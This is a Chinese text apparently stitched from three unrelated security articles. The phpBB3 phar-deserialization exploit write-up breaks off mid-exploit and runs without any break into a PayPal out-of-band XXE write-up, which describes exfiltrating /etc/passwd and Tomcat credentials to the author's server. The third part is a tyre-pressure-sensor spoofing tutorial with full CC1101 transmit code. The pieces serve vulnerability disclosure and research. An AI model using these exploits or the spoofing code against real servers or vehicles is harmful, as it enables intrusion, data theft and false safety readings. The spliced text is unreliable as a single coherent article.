一种新的PHP漏洞利用技术影响着最著名的论坛软件phpBB3。该漏洞允许拿到管理员权限的攻击者执行任意的PHP代码并完全控制整个论坛。

影响

phpBB是最古老最受欢迎的论坛管理软件。如果攻击者想要控制运行着phpBB3的系统,攻击者通常都会对目标站点安装的插件入手,通过暴力破解,钓鱼或者XSS漏洞来拿到管理员控制面板的访问权限。但是在管理控制面板中无法直接安装插件,也没有什么其他的功能可以被管理员利用来执行任意PHP代码。不过,本文所描述的漏洞允许攻击者突破管理员控制面板,在底层服务器上执行任意PHP代码,然后再进行对站点的完全控制。

phpBB3代码库(300KLOC)中的问题是phar反序列化漏洞。在版本3.2.4中已经修复。

技术细节

如果用户输入未经过过滤处理就传递给PHP中的任意文件系统函数,比如file_exists(),就会产生Phar反序列化漏洞。

该漏洞存在于允许管理员编辑上传到论坛的图片的这个功能上。该功能使用了Imagic这个图片编辑器二进制文件。管理员可以在运行着phpBB3的服务器上设置图片编辑器二进制文件的绝对路径。在更新这个设置之前,phpBB3尝试着使用validate_config_vars()这个函数来验证新的路径。该函数通过检查文件是否确实存在来进行验证,代码如下:

/includes/functions_acp.php

function validate_config_vars($config_vars, &$cfg_array, &$error)
{
    ⋮
  case 'absolute_path':
  case 'absolute_path_writable':  
  case 'path':
  case 'wpath':
    ⋮
    if (!file_exists($path)) {
        $error[] = sprintf($user->lang['DIRECTORY_DOES_NOT_EXIST'], $cfg_array[$config_name]);
    }

漏洞利用

对于漏洞利用,必须执行下面几个步骤。请注意,我们省略掉了一些技术细节。

上传恶意phar文件

为了触发phar反序列化漏洞,必须提供目标服务器上phar文件的本地路径。

触发phar反序列化漏洞示例:

file_exists('phar:///var/www/phpBB3/files/evil.phar');

这表明攻击者必须将恶意的phar文件上传到目标主机上。因为phpBB3允许用户上传附件并将它们添加到threads和帖子中,那么上传phar恶意文件就很简单了。虽然已经做了白名单策略,只允许上传.jpg和.pdf等,但是攻击者仍然能够将有效的phar文件上传到服务器。这是因为phar文件的扩展名是独立的,如果evil.phpr被重命名为了evil.jpg,上面的触发phar反序列化的示例仍然有效。还有一种ployglot文件既是有效的phar文件也是有效的JPG文件。

phar文件扩展名是独立的

file_exists('phar:///var/www/phpBB3/files/evil.jpg');

处理文件名随机化

当文件上传到phpBB3论坛时(如帖子的附件或图片),文件名是随机生成的。当evil.jpg上传成功时,文件会存储在/phpBB3/files目录下,文件名是随机生成的MD5哈希值,例如2_08cc076da659b5b30de5fbfe10c05270。为了利用phar反序列化漏洞,攻击者必须知道服务器上文件的确切位置。phpBB3的文件名随机化还是比较安全的,因为做了加密处理,所以对文件名进行暴力破解基本上是不可行的。这就意味着,也许我们可以轻易的完成第一步:上传恶意的phar文件,但是第二步:触发phar反序列化漏洞却以失败告终,因为攻击者不知道phar文件的路径。

 

然而,在上传附件的过程中存在一个缺陷,让攻击者可以预测服务器上的文件名。phpBB3允许用户以块的形式上传文件,也就是一个大文件可以在不同的请求中拆分上传。所有的上传块都会写入到一个临时文件中。当所有的块上传完成形成完整的文件时,对文件名进行随机化并移动到/phpBB3/files目录中。临时文件名由temporary_filepath()函数生成。该函数接收一个参数,这个参数是攻击者想要上传的phar文件的文件名,在我们这个例子中,该参数也就是evil.jpg。

/includes/functions_acp.php

protected function temporary_filepath($file_name)
{
       // Must preserve the extension for plupload to work.
       return sprintf(
              'files/plupload/%s_%s%s',
              $this->config['plupload_salt'],
              md5($file_name),
              \phpbb\files\filespec::get_extension($file_name)
       );
}

这个函数返回文件名,包含一个上传的盐值,还有文件名的MD5哈希值,文件名也就是evil.jpg,还有$file_name的扩展名.jpg。由于$file_name是攻击者可以控制的,现在文件名中唯一未知的部分是plupload_salt这个盐。这个salt是经过加密的安全随机的哈希值,而且对于每一个phpBB3管理面板都是唯一的,并且在论坛面板安装时生成。然而,这个哈希值存储在数据库中的phpbb_config表中。管理员权限可以从管理控制面板下载MySQL数据库备份。这也就意味着攻击者可以轻易的下载备份文件,然后提取其中的plupload salt。这样一来,攻击者就可以预测服务器上phar文件的完整路径了。

临时文件将存储在服务器上,直到所有的块文件发送完成。攻击者可以发起文件上传并告诉phpBB3将发送两个块。通过第一个块上传Phar文件,但一直不发送第二个块,这样攻击者可以骗过phpBB3,让其一直等待第二个块上传,这样就不会删除临时文件。如此一来,攻击者就能够上传文件并知道本地文件名。

触发漏洞并执行代码

利用Phar反序列化的最后一步是找到可能被滥用来执行恶意操作的POP gadgets。我们成功找到了一个POP链,允许攻击者在服务器上创建任意文件并将PHP代码注入文件。这意味着攻击者可以轻松的在目标服务器上创建shell.php并执行任意代码,从而控制整个站点。

技术细节和描述:

应用程序如果存在解析XML的功能可能会存在XML外部实体注入漏洞,当输入包含对外部实体引用的XML而由不安全配置的XML解析器处理时,会造成漏洞。它会导致机密数据泄露,拒绝服务,服务器端请求伪造风险,以及进行内网端口扫描等其他系统影响。PayPal官方网络应用程序(PayPal Inc – PayPal Multi-Order Shipping Application [Core])则存在此安全漏洞。

背景:

PayPal Multi-Order Shipping是一种工具,允许一次从PayPal账户打印多达50个国内美国邮政服务运输标签。

包括多项服务如下:

* 从eBay和/或PayPal导入交易

* 手动创建一个或多个ad-hoc标签

* 获取订单准备打印标签

* 修改订单的送货详细信息

* 为订单添加保险和签名确认

* 将多个订单合并为一个货件

* 还原合并订单

* 在“发运订单”选项卡中添加或删除列

* 应用程序设置和省时工具

* 打印标签和支持文档Carrier Pickup™和装运后管理

image.png

识别阶段:

在通过拦截环境中的请求来测试应用程序的功能时,以下请求引起了我的注意,发现该应用程序是基于XML的,与服务器交换的请求是XML格式的结构化数据。

image.png

在第一次测试中,我们需要确认实体是以最基本的形式解析的。所以我们用内联实体替换VALUE来分析服务器行为:

image.png

image.png

返回的响应是无效的输入错误,因此服务器有一个反射点来显示注入的payload,因为XML请求是用户提供的,我测试了基本的XML注入,通过尝试使用注入实体提取文件来检查应用程序的XML处理方法,将读取远程文件回显在客户端。此攻击的思路是声明外部通用实体并引用网络资源或本地的内部文件:

image.png

我们注意到应用程序只检查的位置:字符串,数字,CDATA值。不使用从文档内的元数据或实体引用的值。因此,在提交请求后无法获得直接回显。

XXE带外通道的利用

XXE处理概述:

默认情况下,XML解析器通常支持外部引用,外部实体可以引用解析器文件系统上的文件。外部实体通常也可以通过HTTP协议处理程序引用网络资源。向其他系统发送请求的能力可以使易受攻击的服务器用作攻击代理。通过提交合适的有效payload,攻击者可以使应用程序服务器来攻击可以与之交互的其他系统。这可能包括公共第三方系统,同一组织内的内部系统,或应用程序服务器本身的本地环回适配器上可用的服务。根据网络架构,这可能会暴露给外部攻击者无法访问的高度脆弱的内部服务。

我们注意到应用程序只检查的位置:字符串,数字,CDATA值。不使用从文档内的元数据或实体引用的值。因此,在提交请求后无法获得直接回显。

image.png

攻击方法:

1.绕过XXE注入点无法直接回显

经过多次测试后,我确认没有直接回显通道,但可以强制服务器在响应中显示结果。所以我使用了一种技术,我们使用“DOCTYPE”中的外部实体注入XML payload而不是一般实体,带有SYSTEM关键字的DOCTYPE声明会导致XML解析器从URI读取数据并允许它继续进入文档:

image.png

应用程序服务器响应了内部服务器错误消息,在我发送请求后,我的服务器从PayPal的内部服务器收到连接: 

现在我们确认了外部实体已激活,这意味着允许从被攻击的服务器连接到其他远程系统,并且可以使用外部DTD通过Web请求读取本地文件。这种技术将允许我们从我们控制的主机请求任何网络资源,而资源可以托管在HTTP服务器,FTP服务器等上。

1.通过带外XXE参数实体搜索数据:

为了克服解析限制,例如(有限使用外部实体,在主XML文档中引用通用/参数实体),我想到:

* 在DTD定义中使用参数实体。

* 使服务器与我的外部域交互并解析XXE payload,而不是直接在XML文档中执行攻击。

可以通过仅引用托管的DTD资源来执行此攻击。只要服务器处理XML请求,该请求甚至不必包含任何XML主体。

image.png

A.通过协议处理程序进行XXE数据搜索:

参数实体帮助我们使用上述技术通过外部实体访问来从被攻击的服务器中向外部服务器传输文件资源内容。虽然解析器存在漏洞,但不支持直接输出回显。

现在的目标是访问服务器的内部本地文件/资源(文件泄露),利用支持各种URL方案/协议的许多平台/解析器中使用的协议处理程序(封装):

image.png

从目标应用程序执行数据提取并连接到我的服务器以获取DTD,然后发送文件内容。假设有严格的防火墙限制,我测试了不同的协议处理程序和公共端口(21,23,80,443,8080,…)然后我意识到目标服务器阻止到某些TCP端口的传出连接,例如:21(FTP),8080,8000,1337,2222 ……等。

但是,我们仍然可以选择通过HTTP / HTTPS请求将任意文件提取回受控域。在提取“/etc/passwd”文件之后,经过几次尝试,几秒钟就会打开连接并收到文件内容:

image.png

注意到URL中发送的数据长度几乎肯定是有限的,这取决于某些特定的实现,这就是为什么使用这种方法只能读取一行/etc/passwd的内容。URL通常必须由正确形成的Unicode数据组成,并且还必须符合特定XML库对URL中允许的字符的限制。有时解析器不会检查创建的URI的长度,并且许多解析器会自动转换换行符(Xerces用空格替换它们,而System.XML进程用URL编码替换)。

B.Bypass URI长度和服务器防火墙限制:

考虑以下:

* 控制将在我们受控服务器侧检查的数据块长度。

* 从易受攻击的服务器建立到远程系统的连接,可以使用外部DTD来泄露数据。

* 使用PayPal远程服务器控制TCP通信协议。

* 模拟自定义服务器并监听端口,包括(HTTPS,HTTP)。

因此,为了克服此限制而不是来设置HTTP服务器的配置,我使用了一种技术来欺骗目标服务器以开启与端口443(https)上的自定义FTP服务器的连接,来自多行URI的每一行将作为单独的命令被请求。XML解释器解析外部DTD文件后,要读取的文件内容将发送到自定义FTP服务器上,并仅在一个请求中收集到所有数据。

因此,我们的最终payload:

image.png

POC源代码:

自定义FTP服务器 https://github.com/Gitr007/Bug-Bounty-Vulnerability-Research/blob/master/Paypal%20MultiOrder%20Shipping%20XXE/custom_ftp_server.rb

HTTP服务器 https://github.com/Gitr007/Bug-Bounty-Vulnerability-Research/blob/master/Paypal%20MultiOrder%20Shipping%20XXE/http_server.py

在fuzz更多功能之后,我可以利用带外XXE来发现一些文件,并且可以进行更多的攻击。

这种风险使远程攻击者(没有特权或用户交互)访问PayPal服务器及其内部系统。

image.png

远程执行代码场景:

这种后果非常危险,攻击者能够有效地绕过严格的防火墙,授权方案,造成敏感数据泄露和PayPal内部网络访问。在我们的案例中,我在运行XXE之后成功地将任何类型的数据泄露到我的外部服务器,这使我能够看到目标系统并识别已安装的应用程序,从而获得RCE的立足点。我想方法来读取配置文件,服务器日志文件,用户历史记录和内部主机信息等。由于PayPal信息的敏感性,我不允许分享RCE利用部分。

1. 通过历史记录日志访问Web管理门户:

2. 检查历史日志的内容(例如:~/.bash_history),查找已部署的服务。

3. 执行本地系统文件扫描。

4. 确定Apache Tomcat应用程序。

5. 通过XXE进行探测来发送Apache Tomcat配置文件,身份验证凭据返回给我们的服务器。

6. 在配置中找到URL后,Web浏览器将访问Web管理控制台。

7. 确认RCE,授予访问权限。

*参考链接:r00thunt,由生如夏花编译,转载请注明来自FreeBuf.COM

胎压无线传感器安全检测

我们团队之前也有用USRP和GNUradio对其他的胎压设备进行的安全检测,我不使用这套环境的原因是软件无线电的设备和笔记本已经算体积不小的一套设备,通常测试环境都在户外,在这种环境下对这个胎压系统做安全检测实在不方便,并且一套无线电设备也不是一般入门小白能消费的起的,所以这也是为什么我想打造一套低成本便携性无线电攻防设备的原因。

发现信号

首先我们要观察这个设备的工作频点,通常这类的胎压设备都工作在433.92Mhz这个频点上,传感器会在安装和卸下时候发送无线数据,否者就要等待数分钟传感器才会再次发送胎压数据,因为低功耗的原因考虑。

然后我们可以通过观察频谱(Fosphor)方式得到该信号工作在433.92Mhz上,调制方式为2-FSK,两个主瓣之间的频率偏差20.5Khz(Deviation),然后我们通过软件无线电的方式将胎压的原始信号接收下来进行分析。

胎压传感器信号调制

然后这个就是我通过软件无线电的方式采样到的原始信号导入到dspectrum的频谱图,然后我们通过这一幅频谱图来讲讲2FSK调制方式:

2FSK调制方式简单来说就是两种频率来表示 Bit 0Bit 1,如图所示假如我们要发射11100101,这段数据在要发送Bit 1数据时候频率切换成了载波频率F1,要发送Bit 0数据时候切换到载波频率F2,最后的调制输出就是我们用软件无线电接收到的结果了,然后我们可以通过这种方式将信号数据解调下来了进行分析了。

这个就是整一段胎压传感器发射出来的信号了,前面是前导码用于唤醒接收端使用的,前导码后面一个特别长的脉冲信号是同步引导码用于发射端和接收端同步时钟使用的,后面就是胎压的有效数据了,我们可以对这个有效数据进行分析了。

胎压传感器协议数据逆向

我们先得到胎压的数据NRZ速率为9.08k,数据如果采用曼彻斯特或者类似编码的话速率要除于2,得到速率为4.5K

最开始分析信号时候以为数据是通过曼彻斯特进行编码的,发现用曼彻斯特方式怎么解码都不对,后来分析很久之后查了一下芯片的datasheet才发现是自有编码协议,这个就是传感器的编码规则,下一个Bit的波形是会根据上一个Bit波形结尾的电平来决定的,知道编码规则后通过这个我们对数据进行进行解码,以一个字节的信号的波形举例吧,从开头的Bit 0开始讲吧,可以看到前面的脉冲是高电平波形,这时候如果要发送Bit0的数据就需要输出NRZ"01",如果之前是低电平的话则输出NRZ"10",如果是要输出Bit1同理,上一个波形结尾为高电平输出NRZ"00",如果是低电平的话输出NRZ"11,就可以通过这种方式得到一个字节的数据,二进制01011100,然后转成十六进制,这一段的波形就表示0x5C的数据内容了:

通过多次对多台胎压监测设备以及多个传感器器的信号进行行行采样、逆向分析得到其信号的数据结构为:

ID识别码 (4 Byte)+ 电压 (1 Byte) + 压感 (1 Byte)+ 温度 (1 Byte) + 气阀 (1 Byte) + CRC (2 Byte)+停止码(1.5Bit)

0x20, 0x95, 0x91, 0x85 //ID(识别码)

0xA0, //电压

0x42, //压力 显示数值乘于3.2,如果要显示胎压2.0 需要传输,20*3.2=64(0x40)

0x63, //温度 显示数据加上0x37,如果要显示44°C 需要传输44+55(0x37)=99(0x63)

0x08, //气阀(漏气检测)

0x00,0x00 //CRC16 校验码

首先我们来说一下这里的参数,ID是每个传感器的序列号类似的标识符,一套胎压系统配备四个传感器所以出厂时候会绑定四个ID,然后就是气压温度气阀(漏气检测)的数据,通常低于或高于设置的数值就会进行报警,每家胎压设置的阈值都不一样我们就不过多的说了.然后就是数据中CRC校验.将所有发射的数据进行CRC16得出两个字节的校验数据附加到数据结尾。

需要注意是这里采用的CRC16的校验方式,并且CRC16有多套标准,经过重复的分析得出使用是CRC16_CCITT这套的标准,最后的停止码没有任何意义就是代表数据已经发射完了。

使用HackCube-Special伪造胎压传感器数据

byte  TPMS_data[11] = {

    0x20, 0x95, 0x91, 0x85, 0xA0, 20 * 3.2, 44 + 0x37, 0x00

};

//20 95 91 85 A0 40 63 00 52 8C 

假如说要发射出TPMS_data其中的数据,最后会发射出来的就是20959185A0406300528C这串数据,数据的结尾528C就是算出来的CRC

//要发射的胎压数据

byte  Transmit_data[11] = { 

    0x20, 0x95, 0x91, 0x85, 0xA0, 20 * 3.2, 44 + 0x37, 0x00

}; 

uint16_t crc_out = calc_crc(Transmit_data, 8, 0xffff); 

//然后根据这8个字节的有效数据算出2个字节的CRC校验码

uint16_t calc_crc(byte * msg, int n, uint16_t init){

  uint16_t x = init;

  while (n--){

    x = crc_xmodem_update(x, (uint16_t) * msg++);

  }

  return (x);

}

uint16_t crc_xmodem_update (uint16_t crc, uint8_t data){

  int i;

  crc = crc ^ ((uint16_t)data << 8);

  for (i = 0; i < 8; i++){

    if (crc & 0x8000)

      crc = (crc << 1) ^ 0x1021; //(polynomial = 0x1021)

    else

      crc <<= 1;

  }

  return crc;

}

这个就是算出结尾两个字节校验码的代码,接收端会先判断这两个字节的校验码,如果是不对,接收端是不会去响应的。

发射胎压传感器射频数据

之后我们就可以根据这个去发射伪造传感器的数据了,这里我使用的TI的CC1101 射频芯片,我们通过Atmega32u4通过SPI(MOSI,MISO,SCK,CS)配置射频芯片CC1101的相关射频寄存器,然后通过CC1101GDO0引脚将射频数据发出,也可以采用数据包模式将数据发射出来,但是因为数据包模式不方便兼容其他的类型的胎压设备。

CC1101射频参数配置

#define CC1101_TPMS_IOCFG2          0x29

#define CC1101_TPMS_IOCFG1          0x2E

#define CC1101_TPMS_IOCFG0          0x06

#define CC1101_TPMS_FIFOTHR          0x47

#define CC1101_TPMS_SYNC1            0xD3

#define CC1101_TPMS_SYNC0            0x91

#define CC1101_TPMS_PKTLEN          0x05

#define CC1101_TPMS_PKTCTRL1        0x04

#define CC1101_TPMS_PKTCTRL0        0x30

#define CC1101_TPMS_ADDR            0x00

#define CC1101_TPMS_CHANNR          0x00

#define CC1101_TPMS_FSCTRL1          0x06

#define CC1101_TPMS_FSCTRL0          0x00

#define CC1101_TPMS_MDMCFG4          0xF8

#define CC1101_TPMS_MDMCFG3          0x9B

#define CC1101_TPMS_MDMCFG2          0x33

#define CC1101_TPMS_MDMCFG1          0x22

#define CC1101_TPMS_MDMCFG0          0xF8

#define CC1101_TPMS_DEVIATN          0x00

#define CC1101_TPMS_MCSM2            0x07

#define CC1101_TPMS_MCSM1            0x30

#define CC1101_TPMS_MCSM0            0x18

#define CC1101_TPMS_FOCCFG          0x16

#define CC1101_TPMS_BSCFG            0x6C

#define CC1101_TPMS_AGCCTRL2        0x03

#define CC1101_TPMS_AGCCTRL1        0x40

#define CC1101_TPMS_AGCCTRL0        0x91

#define CC1101_TPMS_WOREVT1          0x87

#define CC1101_TPMS_WOREVT0          0x6B

#define CC1101_TPMS_WORCTRL          0xFB

#define CC1101_TPMS_FREND1          0x56

#define CC1101_TPMS_FREND0          0x11

#define CC1101_TPMS_FSCAL3          0xE9

#define CC1101_TPMS_FSCAL2          0x2A

#define CC1101_TPMS_FSCAL1          0x00

#define CC1101_TPMS_FSCAL0          0x1F

#define CC1101_TPMS_RCCTRL1          0x41

#define CC1101_TPMS_RCCTRL0          0x00

#define CC1101_TPMS_FSTEST          0x59

#define CC1101_TPMS_PTEST            0x7F

#define CC1101_TPMS_AGCTEST          0x3F

#define CC1101_TPMS_TEST2            0x81

#define CC1101_TPMS_TEST1            0x35

#define CC1101_TPMS_TEST0            0x0B

这个是根据胎压传感器信号生成的CC1101寄存器的配置,可以通过SmartRF Studio配置完参数后导出,不过有些寄存器是不支持IDE去进行设置的,必须是根据芯片的datasheet去修改的,比如说让射频芯片处于异步模式,切换射频芯片的工作状态等等。

void setfreq(unsigned long int freq) { //参考datasheet写的一个设置工作射频频率的函数,可以使用SmartRF Studio计算得出

  unsigned long freqnum = freq / 396.734569;

  byte freqx[3];

  freqx[0] = freqnum;

  freqx[1] = freqnum >> 8;

  freqx[2] = freqnum >> 16;

  cc1101.writeReg(CC1101_FREQ2, freqx[2]);

  cc1101.writeReg(CC1101_FREQ1, freqx[1]);

  cc1101.writeReg(CC1101_FREQ0, freqx[0]);

}

void CC1101_config() {

  cc1101.SS_PIN = A3;//选择CC1101射频模块连接主控端的片选引脚

  cc1101.init();//初始化CC1101并对射频芯片进行寄存器配置

  setfreq(433925000);//配置射频芯片工作频率(刚刚通过频谱仪得到的频点信息)

  const byte paTable[8] = {0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  cc1101.writeBurstReg(CC1101_PATABLE, (byte*)paTable, 8);//配置射频芯片射频功率(设置参考datasheet,SmartRF Studio)

  cc1101.writeReg(CC1101_MCSM0, 0x08);//配置射频芯片XOSC校准(参考datasheet)

  cc1101.writeReg(CC1101_MDMCFG2, 0x03); //将射频芯片芯片调制模式设置为FSK

  cc1101.writeReg(CC1101_DEVIATN, 0x35); //设置2FSK两个主瓣的频差

  cc1101.writeReg(CC1101_IOCFG0, 0x0d); //设置异步模式

}

cc1101.init()函数中将刚刚的射频配置写入CC1101的相关寄存器中,然后我们挑几个关键的讲讲,setfreq函数用于将CC1101设置在胎压的工作频率上,MDMCFG2设置芯片的调制模式为2FSK,我们这里使用的芯片的异步模式,就是通过引脚去将数据发射出来,不是通过SPI方式将要发射的数据写入到芯片的发射缓存区中。

射频信号发射

//          id            电压  压力  温度  漏气

  //0xF0, 0xFB, 0x23, 0x85, 0xA0, 0x42, 0x60, 0x08

byte  left_back[8] = { //待伪造其中一个轮胎的传感器数据

    0xF0, 0xFB, 0x23, 0x85, 0xA0, 21 * 3.2, 22+ 0x37, 0x00

  }; 

Attack_TPMS(left_back); //发射函数

void Attack_TPMS(byte * Tansmit_data) {//发射调用的函数

  cc1101.cmdStrobe(CC1101_STX);//将射频芯片配置为发射状态

  delayMicroseconds(802);//因为射频芯片进入TX状态后需要校准时钟所需延迟802Us

  Transmit_TPMS(Tansmit_data);//发射数据处理函数

  cc1101.cmdStrobe(CC1101_SIDLE);//将芯片状态从TX转入IDLE空闲状态,否则芯片会一直发射2FSK信号

  delay(65);//两个信号间隔的安全时间

  //.... 函数内的在执行一遍

}

left_back这个数组里面存着的就是待发射的数据,CRC通过Transmit_TPMS自动算出来附加到数组结尾。我们接下来看看Transmit_TPMS发射数据操作函数。

void Transmit_TPMS(byte * Transmit_data) {

  int len = 8;

  lastbit = true;//根据上一个Bit的电平变化来决定下一个Bit的波形

  uint16_t crc_out = calc_crc(Transmit_data, len, 0xffff); //算出发射数组中的CRC值

  int msb = (crc_out & 0xff00) >> 8;

  int lsb = (crc_out & 0x00ff) ;

  Transmit_data[8] = lsb;

  Transmit_data[9] = msb;//协议中两个字节的CRC数据

  len += 2;

  Sync_1();//发射前导码和同步值

  for (int i = 0; i < len; i++) {

    Transmit_byte_1(Transmit_data[i]);//根据数组大小发射数组中的数据,操作底层硬件io

  }

  digitalWrite(pin, HIGH);

  delayMicroseconds(bit_delay_1 * 3);

  digitalWrite(pin, LOW);//信号结尾端

}

然后这个是发射数据操作函数,算出CRC数据后根据Transmit_data的数据内容在GDO0这个引脚上输出对应的波形。

#define bit_delay_1 111 //9.09k 速率 通过我们刚刚在分析出的信号速率得到的

#define  pin 3// MCU 连接 CC1101 的GDO0 引脚(异步模式发射引脚)

void Transmit_bit0() {//发射Bit0的波形

  if (lastbit) {//根据(lastbit)上一个bit的波形电平来产生出下个一个信号的波形

    digitalWrite(pin, LOW); //通过控制 CC1101 的GDO0引脚来产生出对应的波形信号

    delayMicroseconds(bit_delay_1);//该波形的持续时延,波形参考编码规则

    digitalWrite(pin, HIGH); 

    delayMicroseconds(bit_delay_1);

    lastbit = true;

  } else {

    digitalWrite(pin, HIGH);

    delayMicroseconds(bit_delay_1);//该波形的持续时延,波形参考编码规则

    digitalWrite(pin, LOW);

    delayMicroseconds(bit_delay_1);

    lastbit = false;

  }

}

void Transmit_bit1() { //发射Bit1的波形

  if (lastbit) {//根据(lastbit)上一个bit的波形电平来产生出下个一个信号的波形

    digitalWrite(pin, LOW);

    delayMicroseconds(bit_delay_1 * 2); //该波形的持续时延,波形参考编码规则

    lastbit = false;

  } else {

    digitalWrite(pin, HIGH);

    delayMicroseconds(bit_delay_1 * 2); //该波形的持续时延,波形参考编码规则

    lastbit = true;

  }

}

void Transmit_byte_1(byte data) {//处理发射数据的函数

  for (int a = 0; a < 8; a++) { //位移Byte数据根据每个Bit 在io上产生出相应的规则

    if (data & 0x80) 

      Transmit_bit1(); 

    else

      Transmit_bit0();

    data = data << 1;

  }

}

然后我通过这种方式就能够对这个传感器进行伪造攻击了:

这个就是我们伪造出来的引脚波形:

演示视频

总结一下存在的安全风险

因为胎压数据没有经过任何的加密的操作,完全是明文传输仅仅只有CRC进行校验,只要知道其中使用的编码规则或者协议数据就可以很简单的对这个胎压传感器进行伪造攻击!并且其中传感器id是明文传输的,只要在一个城市中部署足够多的嗅探节点可以对安装了胎压的汽车进行轨迹分析,从而分析出每个车主的生活轨迹。

目前只是对2FSK的胎压信号进行伪造并发射,并没有对2FSK进行解调解码的操作,后面有时间的话会对这一块进行升级吧,增加嗅探解码的功能。

然后在我们的HackCube-Special 上已经封装好了这个伪造胎压传感器的功能,各位对这块感兴趣的小伙伴可以看下我们HackCube-Special有任何问题的欢迎在我们的社区上交流。

我们的硬件产品预计会在12月份年底左右上线,在我们社区上提交质量不错的文章是有机会拿到第一时间产品的哟~

参考链接

http://ingelect.esy.es/pdf/FXTH871x7.pdf

http://www.ti.com/lit/ds/symlink/cc1101.pdf

*本文作者:mobier,转载请注明来自FreeBuf.COM